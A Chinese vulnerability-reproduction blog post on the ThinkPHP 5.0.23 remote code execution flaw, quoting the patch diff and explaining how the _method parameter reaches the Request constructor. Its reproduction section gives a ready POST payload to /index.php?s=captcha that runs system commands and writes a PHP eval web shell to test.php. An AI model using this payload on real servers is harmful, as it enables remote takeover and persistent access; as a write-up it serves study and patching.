当前位置:网站首页>漏洞复现----38、ThinkPHP5 5.0.23 远程代码执行漏洞
漏洞复现----38、ThinkPHP5 5.0.23 远程代码执行漏洞
2022-06-30 16:46:00 【七天啊】
一、漏洞简介
5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。Thinkphp源码下载
漏洞代码如下:
@@ -522,8 +522,11 @@ public function method($method = false)
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{
$this->method}($_POST);
$method = strtoupper($_POST[Config::get('var_method')]);
if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{
$this->method}($_POST);
}
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
调用$this->{$this->method}($_POST);语句。当我们可以控制$method的值时,就可以调用Request类的任意方法,而当调用构造方法__construct()时,就可以覆盖Request类的任意成员变量,可以覆盖$this->method,指定check()方法中的$method值。
二、漏洞复现
访问IP:8080抓包
更改请求为POST /index.php?s=captcha
消息正文为:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=command
commond=id/ls/whoami/echo <?php eval($_POST['cmd']);?> > test.php


边栏推荐
- Exploration and practice of "flow batch integration" in JD
- What does software testing need to learn? Test learning outline sorting
- 分布式机器学习:模型平均MA与弹性平均EASGD(PySpark)
- 阿里云ECS导入本地,解决部署的问题
- MySQL reports that the column timestamp field cannot be null
- Elastic 8.0: opening a new era of speed, scale, relevance and simplicity
- 现在玩期货需要注意什么,在哪里开户比较安全,我第一次接触
- Redis (VI) - master-slave replication
- Several points in MySQL that are easy to ignore and forget
- Deep understanding of JVM (VI) -- garbage collection (III)
猜你喜欢

Send the injured baby for emergency medical treatment. Didi's driver ran five red lights in a row

LRN local response normalization
![leetcode:787. The cheapest transfer flight in station K [k-step shortest path + DFS memory + defaultdict (dict)]](/img/28/78e2961877776ca3dfcba5ee7e35d2.png)
leetcode:787. The cheapest transfer flight in station K [k-step shortest path + DFS memory + defaultdict (dict)]

Type ~ storage ~ variable in C #

It's not easy to say I love you | use the minimum web API to upload files

2022上半年盘点:20+主流数据库重大更新及技术要点汇总

Solution: STM32 failed to parse data using cjson
![[software testing] basic knowledge of software testing you need to know](/img/cf/875f7a2a6f678eef22cd8b9e0f912d.jpg)
[software testing] basic knowledge of software testing you need to know

基于eNSP的校园网设计的仿真模拟

ABAP publish restful service
随机推荐
K-line diagram interpretation and practical application skills (see position entry)
【云驻共创】Huawei iConnect使能物联终端一触即联
Communication network electronic billing system based on SSH
每日面试1题-如何防止CDN防护被绕过
Send the injured baby for emergency medical treatment. Didi's driver ran five red lights in a row
巴比特 | 元宇宙每日必读:未成年人打赏后要求退款,虚拟主播称自己是大冤种,怎么看待这个监管漏洞?...
News management system based on SSM
[PROJECT] Xiaomao school (IX)
It's not easy to say I love you | use the minimum web API to upload files
ASP. Net authentication code login
Redis (V) - advanced data types
零基础也能做Apple大片!这款免费工具帮你渲染、做特效、丝滑展示
Redis (VIII) - enterprise level solution (I)
【义修换届大礼包】
阿里云ECS导入本地,解决部署的问题
Redis (II) -- persistence
. Net ORM framework hisql practice - Chapter 1 - integrating hisql
What should I pay attention to when playing futures? Where is safe to open an account? It's my first contact
Deep understanding of JVM (VI) -- garbage collection (III)
墨天轮沙龙 | 清华乔嘉林:Apache IoTDB,源于清华,建设开源生态之路